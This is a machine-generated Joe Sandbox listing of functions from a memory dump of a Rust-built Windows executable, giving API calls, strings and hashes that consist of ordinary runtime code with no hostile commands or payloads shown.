Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: SymAddrIncludeInlineTrace$SymFromInlineContextW$SymGetLineFromInlineContextW$SymQueryInlineTrace
API String ID: 2190909847-3384281969
Opcode ID: 5573b4725ce5cc75251cd0737fc1eca949bec2c587926e98fe881261ec675c98
Instruction ID: 4bd10fdbb4cce0a31e8f79970f7b8fea14405e049ffe064540c65829ceb0b51d
Opcode Fuzzy Hash: 5573b4725ce5cc75251cd0737fc1eca949bec2c587926e98fe881261ec675c98
Instruction Fuzzy Hash: 53B18031A08AC299E7319F29A9417F9A3B4FF29798F844135EB5C4B75CDF78D2819310

Function 00007FF7B9039F80 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 422COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF7B903A145
GetFullPathNameW.KERNEL32 ref: 00007FF7B903A162
GetLastError.KERNEL32 ref: 00007FF7B903A16E
GetLastError.KERNEL32 ref: 00007FF7B903A188

Strings

\\?\UNC\, xrefs: 00007FF7B903A2FE
\\?\, xrefs: 00007FF7B903A2AC

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ErrorLast$FullNamePath
String ID: \\?\$\\?\UNC\
API String ID: 2482867836-3019864461
Opcode ID: 7a42f174e2cde6acd6d9ef7840f7b3689833c545df9eac48ea652f30d82ecd85
Instruction ID: 17b7aee3069e19d1654dd42103498c6f3ee27d428d3755ead031e51f77e4cbf4
Opcode Fuzzy Hash: 7a42f174e2cde6acd6d9ef7840f7b3689833c545df9eac48ea652f30d82ecd85
Instruction Fuzzy Hash: 9C02A462A0C69385EB70AF19D6447B8B3B4FB2AB94F818136DB6C57688DF3CD5819310

Function 00007FF7B9036B6E Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7B9036B85
DuplicateHandle.KERNEL32 ref: 00007FF7B9036BB0
GetLastError.KERNEL32 ref: 00007FF7B9036D4C

Part of subcall function 00007FF7B9037FF0: CreateThread.KERNEL32 ref: 00007FF7B903805B
Part of subcall function 00007FF7B9037FF0: GetLastError.KERNEL32 ref: 00007FF7B90380B8

CloseHandle.KERNEL32 ref: 00007FF7B9036D93
CloseHandle.KERNEL32 ref: 00007FF7B90370AD

Strings

RUST_MIN_STACK, xrefs: 00007FF7B9036DF2
failed to spawn thread, xrefs: 00007FF7B9037144

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: Handle$CloseErrorLast$CreateCurrentDuplicateProcessThread
String ID: RUST_MIN_STACK$failed to spawn thread
API String ID: 4152547513-917136298
Opcode ID: b9022e5d87f67925ce0ea4183ce08df445dda906ad3cb8caf0b04fd543611c86
Instruction ID: 49591924bffad21ed92d7110f2d6c57c7f6375607df0fba12e031546ae31402e
Opcode Fuzzy Hash: b9022e5d87f67925ce0ea4183ce08df445dda906ad3cb8caf0b04fd543611c86
Instruction Fuzzy Hash: 21D14122A08B8389E711AF68D9403A977B1FB6A758F904135EB5D47B9DDF38E484C360

Function 00007FF7B902ABA0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 199COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B9024EE0: SetLastError.KERNEL32 ref: 00007FF7B9024FD9
Part of subcall function 00007FF7B9024EE0: GetCurrentDirectoryW.KERNEL32 ref: 00007FF7B9024FE5
Part of subcall function 00007FF7B9024EE0: GetLastError.KERNEL32 ref: 00007FF7B9024FF2
Part of subcall function 00007FF7B9024EE0: GetLastError.KERNEL32 ref: 00007FF7B902500C

RtlCaptureContext.KERNEL32(?), ref: 00007FF7B902ACD7
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7B902ACFC

Strings

stack backtrace:, xrefs: 00007FF7B902AC49
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...], xrefs: 00007FF7B902AF85

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ErrorLast$CaptureContextCurrentDirectoryEntryFunctionLookup
String ID: note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...]$stack backtrace:
API String ID: 2800785878-3192684347
Opcode ID: 92a787d140059c6739102b84400e6c34c6f864ac35a1194e2f8a9f4b27341794
Instruction ID: cc12666b93f7250940979922533f38d42e843b6c42fa28edba59bb9130ae6c3d
Opcode Fuzzy Hash: 92a787d140059c6739102b84400e6c34c6f864ac35a1194e2f8a9f4b27341794
Instruction Fuzzy Hash: A6B10862604FC198EB719F28DC403EA77A4FB16799F840129DB5C4BB99EF38D245DB10

Function 00007FF7B9030D20 Relevance: 10.7, APIs: 7, Instructions: 185COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B90310D0: CreateEventW.KERNEL32(?,?,?,00000000,?,?,?,00007FF7B9030D5D), ref: 00007FF7B9031100

CloseHandle.KERNEL32 ref: 00007FF7B9030D6F
WaitForMultipleObjects.KERNEL32 ref: 00007FF7B9030E11
GetOverlappedResult.KERNEL32 ref: 00007FF7B9030E4F
GetLastError.KERNEL32 ref: 00007FF7B9030FB3

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: CloseCreateErrorEventHandleLastMultipleObjectsOverlappedResultWait
String ID:
API String ID: 1266231692-0
Opcode ID: b84400ee7e79c55e95b58c046b33fc67579e9979e9ec7a4a9ffbca3d45e0d5bb
Instruction ID: e2587a00af077cb21df443a8cd5ea5728c8fc4eb3f9d9814a27bf841309473ad
Opcode Fuzzy Hash: b84400ee7e79c55e95b58c046b33fc67579e9979e9ec7a4a9ffbca3d45e0d5bb
Instruction Fuzzy Hash: 1C816B22E09B9689EB109F69D9403AD7370FB2A798F404631EF2C57B8DDF78D4518360

Function 00007FF7B902B3C0 Relevance: 10.6, APIs: 7, Instructions: 148fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B9030740: ReadFileEx.KERNEL32 ref: 00007FF7B9030786
Part of subcall function 00007FF7B9030740: SleepEx.KERNEL32 ref: 00007FF7B90307AA

WriteFileEx.KERNEL32 ref: 00007FF7B902B4D0
SleepEx.KERNEL32 ref: 00007FF7B902B4EA
GetLastError.KERNEL32 ref: 00007FF7B902B550
CloseHandle.KERNEL32 ref: 00007FF7B902B58A
CloseHandle.KERNEL32 ref: 00007FF7B902B593
CloseHandle.KERNEL32 ref: 00007FF7B902B61F
CloseHandle.KERNEL32 ref: 00007FF7B902B628

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: CloseHandle$FileSleep$ErrorLastReadWrite
String ID:
API String ID: 4082512061-0
Opcode ID: 0d8f85834ed94a0328527500f3fbf17a6b9c570b74d9ee048fd7e452b0836797
Instruction ID: 528094167b655d22be42765f9172fc07b6076cc957c83ab2f2a886185c094d27
Opcode Fuzzy Hash: 0d8f85834ed94a0328527500f3fbf17a6b9c570b74d9ee048fd7e452b0836797
Instruction Fuzzy Hash: 47518222604AD395E731AF29A8017F973B4FB56398F844235EE6C4AB9CDE78D285D310

Function 00007FF7B904BA3C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7B904BCEE,?,?,?,00007FF7B904B9E0,?,?,?,00007FF7B9049F79), ref: 00007FF7B904BAC1
GetLastError.KERNEL32(?,?,?,00007FF7B904BCEE,?,?,?,00007FF7B904B9E0,?,?,?,00007FF7B9049F79), ref: 00007FF7B904BACF
LoadLibraryExW.KERNEL32(?,?,?,00007FF7B904BCEE,?,?,?,00007FF7B904B9E0,?,?,?,00007FF7B9049F79), ref: 00007FF7B904BAF9
FreeLibrary.KERNEL32(?,?,?,00007FF7B904BCEE,?,?,?,00007FF7B904B9E0,?,?,?,00007FF7B9049F79), ref: 00007FF7B904BB67
GetProcAddress.KERNEL32(?,?,?,00007FF7B904BCEE,?,?,?,00007FF7B904B9E0,?,?,?,00007FF7B9049F79), ref: 00007FF7B904BB73

Strings

api-ms-, xrefs: 00007FF7B904BAE1

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 04c847d430a8b357cbdcd349c4e5867dc99fbc92d9ffa70d1cdd1b41aff0efb5
Instruction ID: 300edeb5fb4833b6bddef57a234ead7fd454d5d849b9d894dc8367211c017cae
Opcode Fuzzy Hash: 04c847d430a8b357cbdcd349c4e5867dc99fbc92d9ffa70d1cdd1b41aff0efb5
Instruction Fuzzy Hash: 6231C72171A64391EE51AF1A944057DA3B4BF67BA0F890534EE7D4735CEE7CE4408660

Function 00007FF7B9037A00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7B9037A2B
GetLastError.KERNEL32 ref: 00007FF7B9037A44
GetConsoleMode.KERNEL32 ref: 00007FF7B9037A84
CloseHandle.KERNEL32 ref: 00007FF7B9037D0A

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF7B9037C85

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: Handle$CloseConsoleErrorLastMode
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 1170577072-2333694755
Opcode ID: 81e5c3a94e51ffe971110ae7c630a86fd0ffae82760944cc50fcb365f4217783
Instruction ID: 9446b8d200e3e6d7c7ddfa4101c96b831f3a05375c91a7c3778022154c6fa201
Opcode Fuzzy Hash: 81e5c3a94e51ffe971110ae7c630a86fd0ffae82760944cc50fcb365f4217783
Instruction Fuzzy Hash: 4D81B462A1868395FB11AF78A9403FCA771AB2A798F804135DF6D1369DDF3CD1858360

Function 00007FF7B904AC0C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7B904AC6B
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7B904ACB7
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7B904AE73

Strings

RCC, xrefs: 00007FF7B904AC87
MOC, xrefs: 00007FF7B904AC7F

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: CallEncodePointerTranslatorabort
String ID: MOC$RCC
API String ID: 292945357-2084237596
Opcode ID: c2d086761dc6fd18626da9231b532bc478a06c8ba32be5aa6bc7485a53e977e9
Instruction ID: b9e30c2bca7c246e99a56e6f3ef893e292623bbf8301bf06080033df43295eca
Opcode Fuzzy Hash: c2d086761dc6fd18626da9231b532bc478a06c8ba32be5aa6bc7485a53e977e9
Instruction Fuzzy Hash: 9B618632908BC685DB609F1AE4407AAB7B0FB96B94F444235EBAD07B59CF7CD194CB10

Function 00007FF7B904AFBC Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7B904AFE4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7B904B0CC
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7B904B1ED

Strings

csm, xrefs: 00007FF7B904B11E
csm, xrefs: 00007FF7B904B006

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_recordabort
String ID: csm$csm
API String ID: 4198837600-3733052814
Opcode ID: f8d6e8cedad6a77bb2c0396b1c190e5ae66afbc715b34cc6c0c9cebf76f4a201
Instruction ID: 6083af58740487d0c91130e0166e7df05c3df01b1c58cc9cc3ecf2ee00fd3ac1
Opcode Fuzzy Hash: f8d6e8cedad6a77bb2c0396b1c190e5ae66afbc715b34cc6c0c9cebf76f4a201
Instruction Fuzzy Hash: 5B517E3290868386EB74AE2A944426CB7B4EB66B85F944135DBAC47B99CF3CE450C710

Function 00007FF7B9038BB0 Relevance: 7.8, APIs: 5, Instructions: 257COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF7B9038CC1
GetFullPathNameW.KERNEL32 ref: 00007FF7B9038CD7
GetLastError.KERNEL32 ref: 00007FF7B9038CE4
GetLastError.KERNEL32 ref: 00007FF7B9038CFE
GetLastError.KERNEL32 ref: 00007FF7B9038DC7

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ErrorLast$FullNamePath
String ID:
API String ID: 2482867836-0
Opcode ID: ba76eefd639af96dec1f28aa9424d795c10072416cba78c9c45828c53f0cbe8d
Instruction ID: 8350981c3bbb0de78054f9b4ff1069f959033cd7d2a5ae4e9ab1acedf2fdd79c
Opcode Fuzzy Hash: ba76eefd639af96dec1f28aa9424d795c10072416cba78c9c45828c53f0cbe8d
Instruction Fuzzy Hash: 00B1A362A087C38AEB25AF29D9447E8A279FB16BD4F944131DF2C5B799DF38D2418310

Function 00007FF7B90386B0 Relevance: 7.8, APIs: 5, Instructions: 253COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF7B90387C1
GetFullPathNameW.KERNEL32 ref: 00007FF7B90387D7
GetLastError.KERNEL32 ref: 00007FF7B90387E3
GetLastError.KERNEL32 ref: 00007FF7B90387FD
GetLastError.KERNEL32 ref: 00007FF7B90388B6

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ErrorLast$FullNamePath
String ID:
API String ID: 2482867836-0
Opcode ID: 3312637ff695d0fd956b92b6b936942761c90b43967c05ecb60f82c5b0f61ac3
Instruction ID: e40f083ad9959e52dc87d07a02d03233c6c51cedeeb1ce74ddb193bfc55da0a3
Opcode Fuzzy Hash: 3312637ff695d0fd956b92b6b936942761c90b43967c05ecb60f82c5b0f61ac3
Instruction Fuzzy Hash: 53B1B462A08BC389EB35AF29D9443E9A279FB16BD4F944131DF6C5B789DF38D2418310

Function 00007FF7B9025290 Relevance: 7.7, APIs: 5, Instructions: 191COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF7B90253CA
GetEnvironmentVariableW.KERNEL32 ref: 00007FF7B90253DD
GetLastError.KERNEL32 ref: 00007FF7B90253E9
GetLastError.KERNEL32 ref: 00007FF7B9025403

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ErrorLast$EnvironmentVariable
String ID:
API String ID: 2691138088-0
Opcode ID: 40a8af77cb83e711465423b7e4295d1b533cfbe4621878e8606779f8fa624747
Instruction ID: a660ef722859da905a377fb276f83d932014a72c1e7dc0d18bd4bc1074bdca24
Opcode Fuzzy Hash: 40a8af77cb83e711465423b7e4295d1b533cfbe4621878e8606779f8fa624747
Instruction Fuzzy Hash: 5781B162A04AD389EB31AF29D8443E9B375FF26798F904135DF6C5B689DF38D2818314

Function 00007FF7B9037D20 Relevance: 7.7, APIs: 5, Instructions: 169COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF7B9037DAD
WriteConsoleW.KERNEL32 ref: 00007FF7B9037DED
WriteConsoleW.KERNEL32 ref: 00007FF7B9037E55
GetLastError.KERNEL32 ref: 00007FF7B9037E5F
GetLastError.KERNEL32 ref: 00007FF7B9037EFE

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ConsoleErrorLastWrite$ByteCharMultiWide
String ID:
API String ID: 1956605914-0
Opcode ID: 9b792ba087b754caaed6a68868abe4804498491c3c59dfb27f505c1cfb20efb0
Instruction ID: ad1d1476194dbd2d1459b7951065dfd22c8f2ace4faf5fa60742bf4830d07081
Opcode Fuzzy Hash: 9b792ba087b754caaed6a68868abe4804498491c3c59dfb27f505c1cfb20efb0
Instruction Fuzzy Hash: F951D221A0C69395E720AF28E9443F9A2B1FB6A794F844131DB6D47AECDF3CD5818260

Function 00007FF7B902FB70 Relevance: 7.7, APIs: 5, Instructions: 155COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF7B902FC69
GetModuleFileNameW.KERNEL32 ref: 00007FF7B902FC77
GetLastError.KERNEL32 ref: 00007FF7B902FC84
GetLastError.KERNEL32 ref: 00007FF7B902FC9E
GetLastError.KERNEL32 ref: 00007FF7B902FD3B

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ErrorLast$FileModuleName
String ID:
API String ID: 1026760046-0
Opcode ID: f01fb9a2bc57b3d2b1039f647bb717d38f054ee20f4b73a6f2b0038690f7b895
Instruction ID: 08642594511f9229c950bd743654e8b493b2dd70b05e696a606e71a06ddf0796
Opcode Fuzzy Hash: f01fb9a2bc57b3d2b1039f647bb717d38f054ee20f4b73a6f2b0038690f7b895
Instruction Fuzzy Hash: 5F51F762A047C255E771AF29AC443E9B379BB26BE4FA04135DF2C56789DE38D2818310

Function 00007FF7B9024EE0 Relevance: 7.7, APIs: 5, Instructions: 154COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF7B9024FD9
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7B9024FE5
GetLastError.KERNEL32 ref: 00007FF7B9024FF2
GetLastError.KERNEL32 ref: 00007FF7B902500C
GetLastError.KERNEL32 ref: 00007FF7B90250AB

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ErrorLast$CurrentDirectory
String ID:
API String ID: 3993060814-0
Opcode ID: a71a4c22c91586a61734b4bf9cdfccbd620d121b6fd3e40877aba937771e1c0d
Instruction ID: a3aaf79cd3f3add9303a6b6f494fd6be4f22c989fd65d957433336e2cca3c593
Opcode Fuzzy Hash: a71a4c22c91586a61734b4bf9cdfccbd620d121b6fd3e40877aba937771e1c0d
Instruction Fuzzy Hash: 5F51C622A047C259E771AF29AC443E9B378BB66BE4F804135DF6D5678DDE3CE2818310

Function 00007FF7B9036B40 Relevance: 7.5, APIs: 5, Instructions: 46COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7B9036B42
GetLastError.KERNEL32 ref: 00007FF7B9036B5B
GetCurrentProcess.KERNEL32 ref: 00007FF7B9036D12
DuplicateHandle.KERNEL32 ref: 00007FF7B9036D3C
GetLastError.KERNEL32 ref: 00007FF7B9036D4C

Memory Dump Source

Source File: 00000000.00000002.2466110561.00007FF7B9011000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B9010000, based on PE: true

Associated: 00000000.00000002.2466080486.00007FF7B9010000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466159313.00007FF7B9050000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466199351.00007FF7B906A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466230411.00007FF7B906B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b9010000_9KEZfGRjyK.jbxd

Similarity

API ID: ErrorHandleLast$CurrentDuplicateProcess
String ID:
API String ID: 3697983210-0
Opcode ID: a84996ec7724e0f27e3750ae2423f6fd2eb7d8270aa4a0a9ba7a348fda5a6813
Instruction ID: 32cbfd78f36a897471962a98364b638bd9488602df0db523e7752b25a3101655
Opcode Fuzzy Hash: a84996ec7724e0f27e3750ae2423f6fd2eb7d8270aa4a0a9ba7a348fda5a6813
Instruction Fuzzy Hash: 59114F71A0C74396FB206F69A445379A271FB5A7A8F904234DA7D066CCDF7DE4449220

Function 00007FF7B902C4F0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 267COMMON

Download Yara Rule

APIs

